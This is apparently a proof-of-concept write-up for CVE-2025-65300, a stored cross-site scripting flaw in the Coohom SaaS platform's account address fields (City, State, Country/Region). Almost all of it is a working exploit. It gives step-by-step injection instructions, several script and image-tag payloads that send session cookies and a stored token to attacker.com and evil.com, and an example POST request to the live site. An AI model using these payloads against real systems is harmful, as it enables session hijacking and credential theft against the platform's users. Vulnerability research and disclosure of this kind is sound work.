CVE-2025-65300 Coohom SaaS Platform存储型XSS漏洞

// CVE-2025-65300 PoC - Stored XSS in Coohom SaaS Platform // Target: Account Settings -> Address Fields (City, State, Country/Region) // Step 1: Login to Coohom SaaS Platform with low-privilege account // Navigate to Account Settings page // Step 2: Inject XSS payload in City field const xssPayloadCity = '<script>fetch("https://attacker.com/log?c="+document.cookie)</script>'; // Or use shorter payload const xssPayloadAlt = '<img src=x onerror="fetch('https://attacker.com/steal?data='+btoa(document.cookie))">'; // Step 3: Similar payloads for State and Country/Region fields // City: <script>alert(document.domain)</script> // State: <img src=x onerror=document.location='https://evil.com/?c='+document.cookie> // Country/Region: <svg/onload=fetch('https://attacker.com/'+localStorage.getItem('token'))> // Step 4: Save the settings - payload is stored on server // Step 5: When any user views the profile, XSS executes // Example HTTP Request: /* POST /api/user/profile HTTP/1.1 Host: www.coohom.com Content-Type: application/json { "address": { "city": "<script>document.location='https://attacker.com/steal?cookie='+document.cookie</script>", "state": "TestState", "country": "China" } } */